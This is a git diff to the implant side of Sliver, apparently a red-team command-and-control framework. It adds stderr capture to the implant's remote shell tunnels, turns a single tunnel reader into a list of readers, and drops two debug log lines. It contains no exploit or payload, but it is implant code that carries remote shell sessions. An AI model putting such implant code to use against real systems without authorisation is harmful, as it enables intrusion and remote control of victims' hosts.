diff --git a/implant/sliver/handlers/tunnel_handlers/close_handler.go b/implant/sliver/handlers/tunnel_handlers/close_handler.go index b12a146a17..f5bb114504 100644 --- a/implant/sliver/handlers/tunnel_handlers/close_handler.go +++ b/implant/sliver/handlers/tunnel_handlers/close_handler.go @@ -22,8 +22,7 @@ func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Conn log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID) // {{end}} connection.RemoveTunnel(tunnel.ID) - tunnel.Reader.Close() - tunnel.Writer.Close() + tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here tunnelDataCache.DeleteTun(tunnel.ID) } else { // {{if .Config.Debug}} diff --git a/implant/sliver/handlers/tunnel_handlers/portfwd_handler.go b/implant/sliver/handlers/tunnel_handlers/portfwd_handler.go index e72bf92171..b529f5c1fd 100644 --- a/implant/sliver/handlers/tunnel_handlers/portfwd_handler.go +++ b/implant/sliver/handlers/tunnel_handlers/portfwd_handler.go @@ -114,7 +114,8 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne tun: tunnel, conn: connection, } - n, err := io.Copy(tWriter, tunnel.Reader) + // portfwd only uses one reader, hence the tunnel.Readers[0] + n, err := io.Copy(tWriter, tunnel.Readers[0]) _ = n // avoid not used compiler error if debug mode is disabled // {{if .Config.Debug}} log.Printf("[tunnel] Tunnel done, wrote %v bytes", n) diff --git a/implant/sliver/handlers/tunnel_handlers/shell_handler.go b/implant/sliver/handlers/tunnel_handlers/shell_handler.go index 8e4f382690..0a62a6b71f 100644 --- a/implant/sliver/handlers/tunnel_handlers/shell_handler.go +++ b/implant/sliver/handlers/tunnel_handlers/shell_handler.go @@ -67,8 +67,9 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect tunnel := transports.NewTunnel( shellReq.TunnelID, - systemShell.Stdout, systemShell.Stdin, + systemShell.Stdout, + systemShell.Stderr, ) connection.AddTunnel(tunnel) @@ -100,35 +101,35 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect } } - go func() { - tWriter := tunnelWriter{ - tun: tunnel, - conn: connection, - } - _, err := io.Copy(tWriter, tunnel.Reader) - - if err != nil { - cleanup("io error", err) - return - } - - err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done - if err != nil { - cleanup("shell wait error", err) - return - } + for _, rc := range tunnel.Readers { + go func(outErr io.ReadCloser) { + tWriter := tunnelWriter{ + conn: connection, + tun: tunnel, + } + _, err := io.Copy(tWriter, outErr) - if systemShell.Command.ProcessState != nil { - if systemShell.Command.ProcessState.Exited() { - cleanup("process terminated", nil) + if err != nil { + cleanup("io error", err) return } - } - if err == io.EOF { - cleanup("EOF", err) - return - } - }() + err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done + if err != nil { + cleanup("shell wait error", err) + return + } + if systemShell.Command.ProcessState != nil { + if systemShell.Command.ProcessState.Exited() { + cleanup("process terminated", nil) + return + } + } + if err == io.EOF { + cleanup("EOF", err) + return + } + }(rc) + } // {{if .Config.Debug}} log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID) diff --git a/implant/sliver/handlers/tunnel_handlers/tunnel_writer.go b/implant/sliver/handlers/tunnel_handlers/tunnel_writer.go index 38db96834d..240e41230e 100644 --- a/implant/sliver/handlers/tunnel_handlers/tunnel_writer.go +++ b/implant/sliver/handlers/tunnel_handlers/tunnel_writer.go @@ -27,7 +27,7 @@ func (tw tunnelWriter) Write(data []byte) (int, error) { Data: data, }) // {{if .Config.Debug}} - log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data) + log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence()) // {{end}} tw.tun.IncWriteSequence() // Increment write sequence tw.conn.Send <- &sliverpb.Envelope{ diff --git a/implant/sliver/shell/shell-pty.go b/implant/sliver/shell/shell-pty.go index 68b9a5e07a..064b332c4e 100644 --- a/implant/sliver/shell/shell-pty.go +++ b/implant/sliver/shell/shell-pty.go @@ -77,6 +77,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) { return nil, err } + stderr, err := cmd.StderrPipe() + if err != nil { + // {{if .Config.Debug}} + log.Printf("[shell] stderr pipe failed\n") + // {{end}} + cancel() + return nil, err + } + err = cmd.Start() return &Shell{ @@ -84,6 +93,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) { Command: cmd, Stdout: stdout, Stdin: stdin, + Stderr: stderr, Cancel: cancel, }, err } diff --git a/implant/sliver/shell/shell.go b/implant/sliver/shell/shell.go index a1d19a50b8..ec55d2b87e 100644 --- a/implant/sliver/shell/shell.go +++ b/implant/sliver/shell/shell.go @@ -31,6 +31,7 @@ type Shell struct { Command *exec.Cmd Stdout io.ReadCloser Stdin io.WriteCloser + Stderr io.ReadCloser Cancel context.CancelFunc } diff --git a/implant/sliver/shell/shell_generic.go b/implant/sliver/shell/shell_generic.go index 427cc512aa..c0306dc213 100644 --- a/implant/sliver/shell/shell_generic.go +++ b/implant/sliver/shell/shell_generic.go @@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) { return nil, err } + stderr, err := cmd.StderrPipe() + if err != nil { + // {{if .Config.Debug}} + log.Printf("[shell] stderr pipe failed\n") + // {{end}} + cancel() + return nil, err + } + return &Shell{ ID: tunnelID, Command: cmd, Stdout: stdout, Stdin: stdin, + Stderr: stderr, Cancel: cancel, }, nil } diff --git a/implant/sliver/shell/shell_windows.go b/implant/sliver/shell/shell_windows.go index e6f2cbc890..71b6afaa3c 100644 --- a/implant/sliver/shell/shell_windows.go +++ b/implant/sliver/shell/shell_windows.go @@ -95,6 +95,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) { return nil, err } + stderr, err := cmd.StderrPipe() + if err != nil { + // {{if .Config.Debug}} + log.Printf("[shell] stderr pipe failed\n") + // {{end}} + cancel() + return nil, err + } + err = cmd.Start() return &Shell{ @@ -102,6 +111,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) { Command: cmd, Stdout: stdout, Stdin: stdin, + Stderr: stderr, Cancel: cancel, }, err } diff --git a/implant/sliver/transports/session.go b/implant/sliver/transports/session.go index 86fed56633..7df886f5d6 100644 --- a/implant/sliver/transports/session.go +++ b/implant/sliver/transports/session.go @@ -253,9 +253,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) { if !ok { return } - // {{if .Config.Debug}} - log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data) - // {{end}} err := mtls.WriteEnvelope(conn, envelope) if err != nil { return diff --git a/implant/sliver/transports/tunnel.go b/implant/sliver/transports/tunnel.go index f77845b672..80db58738e 100644 --- a/implant/sliver/transports/tunnel.go +++ b/implant/sliver/transports/tunnel.go @@ -9,7 +9,8 @@ import ( type Tunnel struct { ID uint64 - Reader io.ReadCloser + // Reader io.ReadCloser + Readers []io.ReadCloser readSequence uint64 Writer io.WriteCloser @@ -18,12 +19,12 @@ type Tunnel struct { mutex *sync.RWMutex } -func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel { +func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel { return &Tunnel{ - ID: id, - Reader: reader, - Writer: writer, - mutex: &sync.RWMutex{}, + ID: id, + Readers: readers, + Writer: writer, + mutex: &sync.RWMutex{}, } } @@ -57,6 +58,8 @@ func (c *Tunnel) IncWriteSequence() { // Close - close tunnel reader and writer func (c *Tunnel) Close() { - c.Reader.Close() + for _, rc := range c.Readers { + rc.Close() + } c.Writer.Close() }